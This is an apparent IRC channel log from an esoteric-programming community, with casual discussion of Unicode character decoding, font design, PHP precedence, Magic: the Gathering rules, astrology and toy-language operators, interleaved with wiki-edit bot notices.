03:48:08 <HackEgo> [U+0068 LATIN SMALL LETTER H] [U+0065 LATIN SMALL LETTER E] [U+006C LATIN SMALL LETTER L] [U+006C LATIN SMALL LETTER L] [U+006F LATIN SMALL LETTER O]
03:48:29 <Sgeo> `unidecode zwj
03:48:29 <HackEgo> [U+007A LATIN SMALL LETTER Z] [U+0077 LATIN SMALL LETTER W] [U+200D ZERO WIDTH JOINER] [U+006A LATIN SMALL LETTER J]
03:48:43 <Sgeo> `unidecode zwj
03:48:45 <HackEgo> U+007A LATIN SMALL LETTER Z \ UTF-8: 7a UTF-16BE: 007a Decimal: z \ z (Z) \ Uppercase: U+005A \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+0077 LATIN SMALL LETTER W \ UTF-8: 77 UTF-16BE: 0077 Decimal: w \ w (W) \ Uppercase: U+0057 \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+200D ZERO WIDT
03:49:16 <Sgeo> I was just checking if copy/paste was including the zwj
03:49:17 <zzo38> Sgeo: House systems are based on the horizon and midheaven and your location, so that one doesn't count. (Such a thing is useful and is used in calendar but is not a house system.)
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05:01:45 <\oren\> I also made some adjustments to my katakana, and the definitely look much better
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05:04:46 <HackEgo> [U+0066 LATIN SMALL LETTER F]
05:04:48 <HackEgo> [U+0066 LATIN SMALL LETTER F]
05:05:13 <Sgeo> Why did unidecode give me extra information that one time?
05:05:20 <Sgeo> `cat bin/unidecode
05:05:21 <HackEgo> #!/usr/bin/env python \ import os, sys \ import unicodedata \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ if u"DUNNO" in s: \ os.execvp("multicode", ["multicode"] + sys.argv[1:]) \ else: \ print s
05:06:56 <HackEgo> [U+0061 LATIN SMALL LETTER A] [U+0062 LATIN SMALL LETTER B]
05:06:59 <HackEgo> [U+0061 LATIN SMALL LETTER A] [U+200D ZERO WIDTH JOINER] [U+0062 LATIN SMALL LETTER B]
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05:09:46 <HackEgo> [U+0066 LATIN SMALL LETTER F]
05:09:49 <HackEgo> [U+0066 LATIN SMALL LETTER F]
05:09:52 <HackEgo> [U+0066 LATIN SMALL LETTER F]
05:10:02 <HackEgo> [U+0066 LATIN SMALL LETTER F]
05:10:49 <HackEgo> [U+007A LATIN SMALL LETTER Z]
05:12:55 <HackEgo> [U+304D HIRAGANA LETTER KI]
05:13:02 <HackEgo> [U+304D HIRAGANA LETTER KI] [U+8AB2 CJK UNIFIED IDEOGRAPH-8AB2]
05:13:13 <HackEgo> [wiki] [[Special:Log/move]] move * Hppavilion1 * moved [[WalrusOS/Walculator]] to [[WalrusOS/Walc]]
05:13:15 <HackEgo> [U+604B CJK UNIFIED IDEOGRAPH-604B]
05:14:18 <HackEgo> [wiki] [[WalrusOS/Walc]] http://esolangs.org/w/index.php?diff=45714&oldid=45712 * Hppavilion1 * (+126) Walc
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06:08:44 <HackEgo> U+100176 - No such unicode character name in database \ UTF-8: f4 80 85 b6 UTF-16BE: dbc0dd76 Decimal: 􀅶 \ () \ Uppercase: U+100176 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right)
06:09:37 <Sgeo> Saw that in what should be English text, in a context where I would expect an English alphabet letter
06:11:48 <\oren\> Try a different encoding
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06:17:57 <\oren\> nah that doesn't make sense
06:19:11 <Sgeo> This thing's spell checker doesn't recognize the word "natively"
06:19:34 <\oren\> well its in the private use plane. it's probably a proprietary emoji or something
06:20:10 <Sgeo> It's meant to be an English word
06:20:35 <Sgeo> At a different location on that page is the word "does’t"
06:20:55 <Sgeo> `unidecode does’t
06:20:56 <HackEgo> U+0064 LATIN SMALL LETTER D \ UTF-8: 64 UTF-16BE: 0064 Decimal: d \ d (D) \ Uppercase: U+0044 \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+006F LATIN SMALL LETTER O \ UTF-8: 6f UTF-16BE: 006f Decimal: o \ o (O) \ Uppercase: U+004F \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+0065 LATIN SMA
06:21:07 <HackEgo> U+100176 - No such unicode character name in database \ UTF-8: f4 80 85 b6 UTF-16BE: dbc0dd76 Decimal: 􀅶 \ () \ Uppercase: U+100176 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right) \ \ U+2019 RIGHT SINGLE QUOTATION MARK \ UTF-8: e2 80 99 UTF-16BE: 2019 Decimal: ’ \ ’ \ Category: Pf (Punctuation, Final qu
06:21:07 <zzo38> How are the rules of the combat phase of Magic: the Gathering going to work if there are no legal defending players?
06:21:17 <HackEgo> [U+0176 LATIN CAPITAL LETTER Y WITH CIRCUMFLEX]
06:21:26 <\oren\> that's what I'm seeing
06:21:44 <Sgeo> Hmm, that second character is a magic quote I guess
06:22:00 <Sgeo> But that's not the weird character, which is taking the place of "n"
06:22:23 <Sgeo> "Looks beyond the oious i their area ad "
06:23:59 <Sgeo> That's not what I'm seeing, I'm seeing the "bv" of obvious, the "n" of in, and the "n" of and get obliterated
06:25:21 <zzo38> As far as I can tell, you still get a combat phase although it is illegal to declare any attacks (therefore the declare blockers step and combat damage step are skipped).
06:27:28 <\oren\> I think the result codepoint is the original + 0x100110
06:29:05 <HackEgo> [U+0062 LATIN SMALL LETTER B]
06:29:33 <HackEgo> U+100169 - No such unicode character name in database \ UTF-8: f4 80 85 a9 UTF-16BE: dbc0dd69 Decimal: 􀅩 \ () \ Uppercase: U+100169 \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right)
06:30:02 <\oren\> `` ./u8tbl 0x100169 0x100169
06:30:36 <HackEgo> U+10010F - No such unicode character name in database \ UTF-8: f4 80 84 8f UTF-16BE: dbc0dd0f Decimal: 􀄏 \ () \ Uppercase: U+10010F \ Category: Co (Other, Private Use) \ Bidi: L (Left-to-Right)
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06:31:19 <\oren\> ok apparentl I'm wrong
06:37:27 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45715&oldid=45629 * Quintopia * (-354) /* Implementations */ why compress it yourself...
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07:08:12 <b_jonas> yay! the ugly question mark in circle character that I added to the font as replacement character works, it shows up instead of those characters you type
07:08:56 <myname> 0x63 ^ 0x7c == 0x00 is neither true nor false but 99 because php evaluates == before ^
07:12:03 <\oren\> youre using php? welcome to hell.
07:12:39 <\oren\> I used php for 4 months during an internship. never again.
07:13:05 <myname> it's the language i am most familiar with in terms of "fuck it, i have to do stuff til in a few hours and i don't know how to produce images in any other language"
07:13:43 <\oren\> ah. well you should prbabl look into learning python toot sweet
07:14:28 <HackEgo> [wiki] [[WalrusOS/Walc]] http://esolangs.org/w/index.php?diff=45716&oldid=45714 * Hppavilion1 * (+672) /* Operators and Builtin Functions */ List and String Manipulation
07:15:07 <\oren\> myname: uh... perl 5 is also still ok.
07:15:26 <HackEgo> myname is not your name. You don't know what they are doing. Or you are doing. Or am I? His evil twin brother is Perl.
07:16:05 <myname> ruby would be an option, but i don't know how to output an array of size 256x256 in a way i can read it through in ruby
07:16:33 <\oren\> use the normal JSON format for arrays?
07:16:54 <\oren\> most languages have JSON reading libraries
07:17:10 <myname> line breaks are horrible to read a matrix in a shell
07:19:12 <myname> that's what i did with php
07:19:13 <\oren\> then read it in a web browser
07:20:02 <\oren\> you could probably write near identical code in ruby or perl
07:21:31 <myname> yeah, i just am not as fluent in it
07:21:49 <myname> you shouldn't use any gems, though
07:22:54 <b_jonas> meh, that's just a rite of passage that the wise prophets K&R have inflicted upon all of us programmers so that we mind our brackets. every programmer messes up precedence with either bitwise operators and comparison or bitshifts and addition at least once in their life.
07:23:40 <myname> i would've used parantheses on addition and bitshifting
07:24:10 <\oren\> god damn it every god damn anime starts with guy meets weird girl, girl starts pointless club and forces guy to join it.
07:24:22 <myname> but why the hell would i need == in bitwise xor operations more often than vice versa?
07:24:43 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45717&oldid=45715 * Quintopia * (-28) /* Examples */
07:24:51 <HackEgo> lifthrasiir is shunned by the rest of his country for being no good at League of Legends.
07:24:58 <myname> only those you shouldn't watch
07:25:14 <\oren\> haruhi, chuunibyou, haganai
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07:29:36 <\oren\> oh yeah also in bokusatsu tenshi dokuro chan
07:30:14 <myname> pipiru piru piru pipiru pi
07:30:40 <lifthrasiir> The international hub for esoteric anime discussion
07:31:37 <\oren\> god damn it she made a ridiculous sign and made him put it up around the school
07:31:54 <\oren\> this is so formulaic it's killing me
07:32:29 <myname> there was this scene in one anime that drove a friend of mine crazy
07:32:50 <myname> guy is lookin for someone, cycling all the way through town to be faster
07:33:08 <myname> meets someone and asks where he needs to go
07:33:23 <myname> steps down from the bike and runs
07:43:44 <HackEgo> [wiki] [[Three Star Programmer]] http://esolangs.org/w/index.php?diff=45718&oldid=45657 * Quintopia * (+182) example!
07:44:54 <HackEgo> [wiki] [[Three Star Programmer]] http://esolangs.org/w/index.php?diff=45719&oldid=45718 * Quintopia * (-1) /* Python */
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08:23:39 <zzo38> I now wrote some rule of solitaire Magic: the Gathering. They are four game variants: Standard Solitaire, Scheme Solitaire, Archenemy Solitaire, Survival Solitaire.
08:24:08 <izabera> that's like a whole new level of nerd
08:25:24 <zzo38> It is http://zzo38computer.org/textfile/miscellaneous/magic_card/solitaire.var
08:26:46 <zzo38> Standard Solitaire is the simplest variant; the only changed rule is that rule 104.2a is deleted, and otherwise standard rules apply.
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09:12:22 <Jafet> ` for n in `seq 10 -1 3`; do allquotes | grep -iw "ne{$n}rds"; done
09:12:23 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: : not found
09:13:55 <Jafet> `` for n in `seq 10 -1 3`; do allquotes | grep -iw "ne{$n}rds"; done
09:15:06 <impomatic_> Not that I'm familiar with current MtG rules. I haven't bought any cards for years
09:15:26 <izabera> also i think you want ne\{$n\}rds
09:16:08 <Jafet> `` for n in {10..2}; do allquotes | grep -iwE "ne{$n}rds"; done
09:17:05 <izabera> fwiw allquotes doesn't have to run so many times
09:19:42 <hppavilion[1]> Someone should make a logic based on the type system of stack languages; that is, in a stack language, a procedure can push multiple values onto the stack. I want to see how that works in a formal logic.
09:30:31 <myname> oh no, who broke giantitp?
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09:57:58 <b_jonas> oren: oh nice, I see you finally added the individual Hangul letters
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10:24:58 <b_jonas> lifthrasiir: oh, you've added more characters. nice.
10:25:40 <b_jonas> lifthrasiir: um, in the svg version, why are some characters multi-colored?
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10:36:27 <FireFly> b_jonas: they are composed of multiple symbols overlaid (if you check the text source, it's !'s where they occur)
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11:28:02 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45720&oldid=45697 * Luis Mendo * (+76) /* Specification */
11:28:49 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45721&oldid=45720 * Luis Mendo * (-95) /* Specification */
11:28:59 <HackEgo> [wiki] [[BytePusher]] http://esolangs.org/w/index.php?diff=45722&oldid=42008 * 90.20.90.188 * (+110) /* Machines */
11:31:55 <HackEgo> [wiki] [[BytePusher]] http://esolangs.org/w/index.php?diff=45723&oldid=45722 * 90.20.90.188 * (-86) /* Machines */
11:34:03 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45724&oldid=45721 * Luis Mendo * (+5) /* Specification */
11:34:18 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45725&oldid=45724 * Luis Mendo * (+0) /* Compiler */
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11:44:28 <oerjan> @tell \oren\ <\oren\> no, a kanji I'm memorizing a basket is written as 籠 which is bamboo 竹 on top of dragon 龍 <-- they're homophones in chinese, it really means "the word that's related to bamboo and pronounced the same as dragon". afaiu _most_ chinese characters work that way.
11:47:11 <boily> hellœrjan. about 90% of hanzi worked that way in classical chinese. pronunciations drifted, with Mandarin being about the most divergent of all Chineses.
11:47:52 <oerjan> although in that particular case, the syllables are _still_ pronounced identical hth
11:48:15 <oerjan> if wiktionary is to be believed.
11:48:18 <boily> yup. there's even a proverb for that: when in doubt, guess.
11:48:40 <boily> (with something around a 60% success rate.)
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11:55:38 <myname> so, anybody knows where to read about sybchonized ways in graphs?
11:59:22 <oerjan> @tell hppavilion[1] <hppavilion[1]> God, very nearly exited the page before sending that 3.5K character edit <-- *never* compose long edits directly in the browser hth also happy ex-birthday
12:00:22 <oerjan> stupid DDOS attacks yesterday ruined my plan to perform a sneak birthday att^Wportmanteau
12:01:19 <lifthrasiir> oerjan: your birthsecond is due within 1 min.
12:01:38 <oerjan> i have no idea what my birthsecond is, alas.
12:01:53 <oerjan> i'm not sure they _had_ that accurate clocks when i was born hth
12:02:50 <oerjan> i seem to also have forgotten my official birth-minute, and can never remember if my official birth-hour is 19 or 20.
12:04:14 <boily> birth-minute, as in the minute in the hour you were born? mine's 56.
12:04:33 <oerjan> i think it may be close to 30
12:05:33 <oerjan> i'm not convinced it was accurate to the minute either.
12:06:41 <boily> . o O ( fifty six is no longer alone // he's getting out the marrow in your back bone ♪ )
12:08:33 <oerjan> i'm also pretty sure my ascendant is either sagittarius or capricorn, why does it have to be the two signs i can never tell apart...
12:09:42 <oerjan> vaguely think it's most likely capricorn.
12:09:42 <boily> sudden conflagration in my head. https://www.youtube.com/watch?v=szJq1lwnkNw
12:09:55 <boily> what is an ascendant?
12:10:05 <oerjan> i cannot currently watch youtube links on this rented pc
12:10:21 <oerjan> i guess i could try edge for it
12:11:24 <oerjan> huh nope same error as in IE
12:11:50 <boily> fyi, it's Supper's Ready by Genesis hth
12:12:15 <oerjan> i did see that much. but the video errors out in the middle of the ad.
12:14:18 <oerjan> i'm also experiencing little IE bugs that had been fixed with updates on my own computer years ago.
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12:14:53 <oerjan> i was hoping to get the message today that my own computer is back in town, but no
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12:16:43 <lambdabot> ENVA 301150Z 11003KT 070V140 8000 4000S -SHSN FEW018 BKN023TCU M02/M05 Q0983 BECMG 27025G35KT TEMPO 2000 SHSNRA VV010 RMK WIND 670FT 22007KT
12:17:33 <lambdabot> CYUL 301200Z 03006KT 30SM FEW010 M10/M13 A3052 RMK SF1 SF TR SLP338
12:18:04 <oerjan> boily: btw afair the ascendant is the zodiac sign that is currently rising above the horizon hth
12:18:17 <boily> so, simply your sign?
12:18:41 <oerjan> what's usually called the "sign" is the zodiac sign which contains the sun.
12:18:51 <boily> (oh, BKN023TCU, and SHSNRA, and VV010!)
12:19:05 <oerjan> that only changes once a month, while the ascendant changes several times a day.
12:19:58 <oerjan> that and the moon sign are the fastest changing ones.
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12:21:22 <oerjan> a "proper" horoscope will have those and all the major planets. and probably others according the astrologer's whim.
12:22:48 <oerjan> boily: i see the famous canadian winter is coming upon you
12:23:29 <oerjan> boily: there are all kinds of minor bodies like ceres and eris that they might add.
12:23:50 <oerjan> some of which weren't discovered when i was born.
12:24:10 <oerjan> and some of which may be entirely fictional :P
12:25:55 <oerjan> anyway, my mom used to make horoscopes. as well as card and coffee cup readings.
12:29:40 <oerjan> canadian winter is not just winter.
12:29:46 <boily> winter is camping outside in a line up before the gates officially open.
12:30:10 <boily> b_jonas: where are you at again?
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12:33:28 <HackEgo> [U+007A LATIN SMALL LETTER Z] [U+0077 LATIN SMALL LETTER W] [U+200D ZERO WIDTH JOINER] [U+006A LATIN SMALL LETTER J]
12:33:40 <HackEgo> [U+007A LATIN SMALL LETTER Z] [U+0077 LATIN SMALL LETTER W] [U+200D ZERO WIDTH JOINER] [U+006A LATIN SMALL LETTER J]
12:34:17 <HackEgo> U+007A LATIN SMALL LETTER Z \ UTF-8: 7a UTF-16BE: 007a Decimal: z \ z (Z) \ Uppercase: U+005A \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+0077 LATIN SMALL LETTER W \ UTF-8: 77 UTF-16BE: 0077 Decimal: w \ w (W) \ Uppercase: U+0057 \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+200D ZERO WIDT
12:35:16 <oerjan> @tell Sgeo <Sgeo> Why did unidecode give me extra information that one time? <-- you included some character that gave a DUNNO so it fell back to multicode hth
12:36:40 <HackEgo> U+007A LATIN SMALL LETTER Z \ UTF-8: 7a UTF-16BE: 007a Decimal: z \ z (Z) \ Uppercase: U+005A \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+0077 LATIN SMALL LETTER W \ UTF-8: 77 UTF-16BE: 0077 Decimal: w \ w (W) \ Uppercase: U+0057 \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+200D ZERO WIDT
12:37:13 <HackEgo> U+007A LATIN SMALL LETTER Z \ UTF-8: 7a UTF-16BE: 007a Decimal: z \ z (Z) \ Uppercase: U+005A \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+0077 LATIN SMALL LETTER W \ UTF-8: 77 UTF-16BE: 0077 Decimal: w \ w (W) \ Uppercase: U+0057 \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+200D ZERO WIDT
12:37:40 <oerjan> @tell Sgeo i spot a ^O at the end.
12:38:16 <HackEgo> U+007A LATIN SMALL LETTER Z \ UTF-8: 7a UTF-16BE: 007a Decimal: z \ z (Z) \ Uppercase: U+005A \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+0077 LATIN SMALL LETTER W \ UTF-8: 77 UTF-16BE: 0077 Decimal: w \ w (W) \ Uppercase: U+0057 \ Category: Ll (Letter, Lowercase) \ Bidi: L (Left-to-Right) \ \ U+200D ZERO WIDT
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12:52:39 <HackEgo> 102) <Mathnerd314> Gregor-P: I don't think lambda calculus is powerful enough \ 483) <elliott> we need more films aimed at the lucrative irc nerd demographic
12:54:13 <lifthrasiir> half-width katakana is surprisingly hard to design.
13:04:02 <izabera> let's talk about something serious
13:04:58 <izabera> what's your favourite/least favourite james bond?
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13:10:44 <myname> so, nobody knows anything about synchronized ways?
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14:21:27 <izabera> a couple of moms wanted their children to sing christmas songs during their music lessons in school
14:21:47 <izabera> now he's known as the evil anti-christmas grinch who worships satan
14:21:52 <izabera> and he's been forced to resign
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14:46:51 <fizzie> I had acquired a ` somehow.
14:49:41 <myname> i am a bit disappointed by this channel :p
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15:30:51 <HackEgo> [wiki] [[Subleq]] http://esolangs.org/w/index.php?diff=45726&oldid=40814 * 104.153.29.246 * (+0) /* Hello, world! (more) */
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16:47:54 <lifthrasiir> 1477 characters so far, drawn all half-width katakanas.
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16:57:55 <zzo38> If they assume he is worship Satan because he said no, that seems like a stupid assumption to make
17:00:51 <zzo38> With timestamp and geographical coordinates, I could calculate the ascendant
17:03:42 <b_jonas> lifthrasiir: can you draw the space characters like \x{2009} \x{3000} too?
17:03:52 <b_jonas> they're easy to draw, especially in a monospaced font
17:04:25 <zzo38> If you are not familiar with current MtG rules then you can look it up: http://www.yawgatog.com/resources/magic-rules/ You can also see there the full list of rule changes for each version, starting from Ravnica.
17:06:06 <b_jonas> lifthrasiir: and I see you've drawn some of the quotation marks, which is nice, but I'd recommend the \x{2026} ellipsis too, because that's used quite frequently
17:06:37 <b_jonas> lifthrasiir: wait, you've changed the slash and the backslash? GREAT!
17:07:00 <b_jonas> I know it's just a few pixels, but still
17:07:15 <lifthrasiir> I think I've changed that two or three days ago
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17:11:57 <lifthrasiir> okay, done with a half of half-width hangul jamos too
17:14:20 <lifthrasiir> b_jonas: I'm intentionally delaying whitespaces and other combining characters, because, as you've said, they are easy to "draw"
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17:27:11 <FireFly> `` unidecode $(unicode U+2026)
17:27:12 <HackEgo> [U+2026 HORIZONTAL ELLIPSIS]
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17:40:34 <zzo38> I made up one card that has the ability: {W}, {T}: Prevent the next 1 damage that would be dealt to target creature or player this turn. You may have ~ deal 1 damage to up to one target creature without flying blocked by ~.
17:41:04 <zzo38> In what situations might you choose the same target in both cases (if any)?
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17:42:24 <zzo38> The other ability: {U}, {T}: Scry 1. Change the text of up to one target spell by replacing all color words or named counter type words with another of the same kind until end of turn.
17:43:19 <HackEgo> [wiki] [[WalrusOS/Walc]] http://esolangs.org/w/index.php?diff=45727&oldid=45716 * Hppavilion1 * (+206) /* Operators and Builtin Functions */ Modular exponent
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18:01:33 <HackEgo> [wiki] [[WalrusOS/Walc]] http://esolangs.org/w/index.php?diff=45728&oldid=45727 * Hppavilion1 * (+1495) Trig, etc.
18:03:35 <HackEgo> [wiki] [[WalrusOS/Walc]] http://esolangs.org/w/index.php?diff=45729&oldid=45728 * Hppavilion1 * (+0) Tried to fix abs
18:04:03 <HackEgo> [wiki] [[WalrusOS/Walc]] http://esolangs.org/w/index.php?diff=45730&oldid=45729 * Hppavilion1 * (+16) Fixed abs
18:04:24 <HackEgo> [wiki] [[WalrusOS/Walc]] http://esolangs.org/w/index.php?diff=45731&oldid=45730 * Hppavilion1 * (+1) Dammit, slash
18:04:49 <HackEgo> [wiki] [[WalrusOS/Walc]] http://esolangs.org/w/index.php?diff=45732&oldid=45731 * Hppavilion1 * (+1) Again.
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18:14:08 <izabera> http://www.tuhs.org/Archive/PDP-11/Distributions/research/McIlroy_v0/ this may be of some interest for unix nerds
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18:26:51 <HackEgo> [wiki] [[WalrusOS/lup]] N http://esolangs.org/w/index.php?oldid=45733 * Hppavilion1 * (+264) Invented lup
18:27:26 <hppavilion[1]> There. Now I need to learn category theory. Again. Again.
18:33:05 <izabera> unix in 1971 prefetched the next block after a read
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18:38:47 <izabera> it doesn't mention signals or kill
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18:54:27 <gamemanj> back in those days the power of optimization as a tool was either used little but in novel-for-the-time ways(your example fits here), or used lots and made the code unreadable(see: anything written by a hardcore assembly programmer)
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19:17:41 <fizzie> I tried to bring it up, but it couldn't connect to the server it's configured to connect.
19:17:48 -!- jaboja has joined.
19:18:50 <fizzie> I can't be bothered to switch.
19:19:11 <oerjan> freenode has been crazy lately
19:19:32 <fizzie> Yeah, and fungot doesn't do these fancy modern things like "DNS", so maybe the IP address is not right either.
19:19:43 <oerjan> fizzie: last i checked, fungot seemed to have lost its ^ignore list
19:19:46 <fizzie> I'll have a look when at home.
19:20:02 <fizzie> It's possible I didn't set it up properly when I restarted it, it's not persisted automatically.
19:20:18 <fizzie> I only had the phone to work with, it's less convenient than a real computer.
19:20:33 <oerjan> are you back in business
19:21:27 <fizzie> Yes, I got decanted out of the hospital on Friday, now I'm at back at works.
19:21:50 <fizzie> Should get going home, though.
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19:37:46 <hppavilion[1]> @tell So I /think/ I /kind of/ get category theory. I'm curious, though, how exactly would your category theoretical db model work? I don't see an obvious way from my (admittedly flailing) understanding
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19:38:43 <oerjan> poor So is going to be so confused
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19:39:25 <hppavilion[1]> SO as in Stack Overflow? Or did I ask the wrong person? xD
19:40:23 <hppavilion[1]> Just checking, it was tswett that was making the Category Theoretical DB, right? Before I ask him.
19:40:50 <oerjan> it wasn't something i paid much attention to.
19:41:05 <hppavilion[1]> @tell So Just in case you're a real person, nevermind. That was meant for someone else, but I forgot to include their name. If you don't exist, which is likely, you can safely ignore this message.
19:41:30 <hppavilion[1]> @tell tswett (hoping you're the right person) So I /think/ I /kind of/ get category theory. I'm curious, though, how exactly would your category theoretical db model work? I don't see an obvious way from my (admittedly flailing) understanding
19:41:33 <oerjan> the nick exists, you can ask NickServ about it.
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20:11:11 <hppavilion[1]> oerjan: Do you have any idea how to implement a database based on category theory? Just asking, in case you would.
20:12:15 <hppavilion[1]> I'm trying to design a "Personal Database" software, and was thinking of using Category Theory as its basis
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20:25:29 <HackEgo> [wiki] [[Weirdlang]] http://esolangs.org/w/index.php?diff=45734&oldid=44366 * Rottytooth * (+1204) Added commentary on the terms weird vs esoteric
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20:29:57 <hppavilion[1]> Did you hear about the auction on Bombelli's original manuscripts? The highest bidder got them for 12+16i% less than their estimated worth.
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20:42:01 <int-e> they must imagine that they got a good deal?
20:42:54 <int-e> But I shouldn't make light of a complex matter.
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20:45:43 <HackEgo> [wiki] [[Weirdlang]] http://esolangs.org/w/index.php?diff=45735&oldid=45734 * Rottytooth * (+377) /* Not evil */ Added a link to my own blog post, hope that's okay
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20:53:49 <hppavilion[1]> Hi, variable! I have no clue how to make an hesllo for you!
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20:54:38 <hppavilion[1]> int-e: That doesn't look right though, unless it's a textual joke where the "b" looks like an "h"
20:55:17 <int-e> hppavilion[1]: it's more about how the "ble" is pronounced
21:03:05 <oerjan> in haskell : is uppercase and all other symbols are lower case hth
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21:05:04 <oerjan> actually ; and , are delimiters, not symbols.
21:08:21 <FireFly> Wait hm, I never thought of it in terms of types but that makes perfect sense
21:08:40 <FireFly> as a way to distinguish type operators from value operators
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21:23:47 <hppavilion[1]> What should I use for the Fraction operator in walc?
21:23:58 <hppavilion[1]> I could use _, but I might want to use that for subscripting
21:24:27 <hppavilion[1]> I suppose I could just make / the fraction operator directly
21:24:52 <hppavilion[1]> Perhaps make //, which is currently floor division, the standard division operator and //' floor division
21:38:18 <oerjan> FireFly: it's data constructor operators vs. function operators, actually. type operators no longer make the distinction (they're always constructors).
21:40:04 <FireFly> hppavilion[1]: you could do the J thing and use % as an approximation of ÷ (for division)
21:40:30 <FireFly> kinda makes sense for fractions, if one imagines the circles in the percentage sign being placeholders
21:41:17 <hppavilion[1]> FireFly: True, but I already used % for modulus xD
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21:43:55 <fizzie> $ host -t any orwell.freenode.net
21:43:55 <fizzie> orwell.freenode.net host information "Please stop asking for ANY" "See draft-jabley-dnsop-refuse-any"
21:44:11 <fizzie> I usually ask for ANY when looking up names manually.
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21:55:41 <Jafet> fungot, have you met Any?
21:55:41 <fungot> Jafet: i'll make it 3 lines so i can just say: pork sausage!! we're out of automobile parts and rubber goods!
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22:02:51 <HackEgo> GlItChOmAtIc: WeLcOmE To tHe iNtErNaTiOnAl hUb fOr eSoTeRiC PrOgRaMmInG LaNgUaGe dEsIgN AnD DePlOyMeNt! FoR MoRe iNfOrMaTiOn, ChEcK OuT OuR WiKi: <hTtP://EsOlAnGs.oRg/>. (fOr tHe oThEr kInD Of eSoTeRiCa, TrY #eSoTeRiC On eFnEt oR DaLnEt.)
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22:04:07 <oerjan> weird programming languages
22:04:49 <glitchomatic> here im having a humman ack like numerical prossesor im working on
22:06:17 * oerjan isn't sure what humman ack like means
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22:15:53 <HackEgo> [wiki] [[Weirdlang]] http://esolangs.org/w/index.php?diff=45736&oldid=45735 * Rottytooth * (+16) /* Not evil */
22:16:11 <Taneb> glitchomatic, I don't think anybody quite knows what you are talking about, I am afraid
22:17:18 <Taneb> What do you mean by placing your ()?
22:18:55 <glitchomatic> but here the probleme is 7 should be palce like this (7)
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22:25:46 <HackEgo> [wiki] [[Special:Log/newusers]] create * F431 * New user account
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22:43:53 <hppavilion[1]> OK, for Trigonometric operations, I have /(A)?(SIN|COS|TAN)(H)?/. Did I miss any?
22:44:50 <izabera> you don't need parentheses around A and H
22:44:50 <int-e> hmm, there's sec, and there's atan2 if you're a computer programmer
22:46:27 <mauris> cis(x) = e^(i*x) = cos(x) + i*sin(x) is nice
22:46:48 <mauris> (i mostly just personally dislike the e^ix notation...)
22:47:13 <hppavilion[1]> izabera: I use parentheses for clarity in my Regexes.
22:47:51 <izabera> parentheses are not comments
22:48:21 <izabera> but you can just make up any function and give it a name
22:48:36 <Phantom_Hoover> mauris, but... the e^ix 'notation' is the entire point.
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22:51:15 <mauris> hm, i suppose e^ix makes what you're allowed to do with it algebraically more clear (like e^(ia) * e^(ib) = e^(i(a+b)))
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22:51:40 <hppavilion[1]> izabera: But is inverse secant and hyperbolic secant and inverse hyperbolic secant a meaningful idea?
22:52:32 <mauris> but, it's a bit of a "trick". i'd prefer cis(x) when i just mean "a complex number at this angle on the unit circle"
22:52:34 <hppavilion[1]> So I assumed you would've seen "asec" and "sech" and "asech" written somewhere
22:53:06 <mauris> because i would naturally describe that complex number using its coordinates, not "you know, e to the power of i times a"
22:54:29 <Phantom_Hoover> mauris, oh hush, having to remember that e^ix parametrises the unit circle will do you good!
22:55:28 <mauris> Phantom_Hoover: can you imagine: i had an entire like four months of math classes in high school about complex numbers, and e was never mentioned
22:56:08 <Phantom_Hoover> especially if you didn't do maclaurin series at the same time
22:56:36 <mauris> it was really stupid, though. because proving, everything about them, is trivial using e^ix
22:57:20 <mauris> i guess there are a couple of approaches to the proof of e^ix = cos x + i sin x but we couldn't handle any of them as-is, at the time
22:58:47 <mauris> and yeah, introducing maclaurin series just for that purpose would've been awkward. but IMHO in high school math books it should be okay to say: "here's a fact; you can prove this using some advanced techniques, ask your teacher"
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23:02:47 <Phantom_Hoover> that seems kind of backwards to me, getting used to the complex numbers from scratch is probably more valuable than working everything out with a magic formula
23:02:53 <irctc878> wow! There are more people here than what I expected!
23:03:12 <HackEgo> irctc878: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
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23:05:21 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45737&oldid=45725 * Luis Mendo * (-56) /* Compiler */
23:10:35 <boily> irctc878: do you have any favourite esoteric programming languages? have you created some? what do you think about roast beef?
23:15:53 <irctc878> My favourite esoteric language can be COBOL. I haven't created any esoteric languages. I'm not a great fan of beef.
23:16:15 <irctc878> (anxiously hopes he's not taken seriously)
23:16:26 <irctc878> (you never know in the internet)
23:17:05 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45738&oldid=45737 * Luis Mendo * (-7) /* Compiler */
23:20:19 <HackEgo> [wiki] [[MATL]] http://esolangs.org/w/index.php?diff=45739&oldid=45738 * Luis Mendo * (+205) /* Specification */
23:29:24 <boily> your answers are dutifully recorded, filed and archived for further processing. your participation to the Greater Good is appreciated. please have a nice day.
23:30:09 <int-e> have you met our resident lucid bot, fungot?
